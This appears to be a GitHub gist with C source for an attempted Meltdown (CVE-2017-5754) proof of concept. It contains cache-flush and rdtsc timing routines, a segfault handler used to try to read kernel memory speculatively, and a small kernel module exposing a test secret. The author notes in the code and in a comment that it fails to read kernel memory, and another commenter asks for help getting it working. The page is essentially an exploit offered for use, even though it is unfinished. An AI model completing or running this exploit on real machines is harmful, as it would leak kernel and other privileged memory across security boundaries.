Instantly share code, notes, and snippets.

@mentha /melt.c
Last active Oct 29, 2018

Embed
What would you like to do?
meltdown (CVE-2017-5754)
/* Meltdown (CVE-2017-5754)
* https://spectreattack.com/
* It is not finished yet. This version fails at the step 1, it cannot access kernel memory.
*/
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <setjmp.h>
__attribute__((aligned(4096)))
char arr[256 * 4096] = "";
jmp_buf e;
int retval = 1;
void nokill(int s)
{
fprintf(stderr, "sig %d\n", s);
longjmp(e, 1);
}
static inline int64_t clock()
{
int64_t n;
__asm__(
"rdtsc\n"
"shl $32, %%rdx\n"
"or %%rdx, %%rax\n"
"mov %%rax, %0\n"
: "=r"(n)
:
: "%rax", "%rdx"
);
return n;
}
static inline void amfence()
{
__asm__(
"mfence"
);
}
static inline void alfence()
{
__asm__(
"lfence"
);
}
void flush()
{
int i;
for (i = 0; i < 256; i++)
__asm__(
"clflush %0"
:
: "m"(arr[i << 12])
);
amfence();
alfence();
}
void measure()
{
int i;
int64_t tm[256];
for (i = 0; i < 256; i++) {
int64_t cp, cn;
char *t = &(arr[i << 12]);
amfence();
alfence();
cp = clock();
*t = 0;
cn = clock();
tm[i] = cn - cp;
};
for (i = 0; i < 256; i++) {
if (tm[i] < 200) {
printf("\e[41;37m(%02x:%5lu)\e[0m ", i, tm[i]); // found a possible value
retval = 0;
} else {
printf("(%02x:%5lu) ", i, tm[i]);
};
if ((i + 1) % 8 == 0) printf("\n");
};
}
int peek(intptr_t addr)
{
register int t1, t2;
t1 = *(int *)0; // segfault
t2 = arr[0x20 << 12]; // Transient instruction. I didn't figure out how to get cpu run it.
return t1 & t2;
}
int main(int argc, char *argv[])
{
intptr_t n;
if (argc == 1) {
fprintf(stderr, "address unspecified\n");
return 2;
};
sscanf(argv[1], "%lx", &n);
fprintf(stderr, "accessing 0x%lx\n", n);
signal(SIGSEGV, nokill);
flush();
switch (setjmp(e)) {
case 0:
peek(n);
break;
case 1:
measure();
};
return retval;
}
/* Kernel module containing a secret number */
#include <linux/module.h>
#include <linux/kernel.h>
unsigned long secret = 0xfedcba9876543210;
int init_module(void)
{
printk("Address of secret: 0x%p\n", &secret);
return 0;
}
void cleanup_module(void)
{
printk("Clearing secret.\n");
}
MODULE_LICENSE("GPL");
@mentha

This comment has been minimized.

Owner

mentha commented Jan 4, 2018

I tried it on my own laptop (running kernel 4.14.8-gentoo-r1 installed on 12/28/2017). Step 2 and 3 is tested by reading a value in its accessible memory followed by a sigfault reading 0x0, and did work as expected. But it never works when I was trying to read the value from kernel memory, even if I copied the code from the paper.

@lechucknet

This comment has been minimized.

lechucknet commented Jan 7, 2018

have you modified something? im trying to make it work any ideas?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment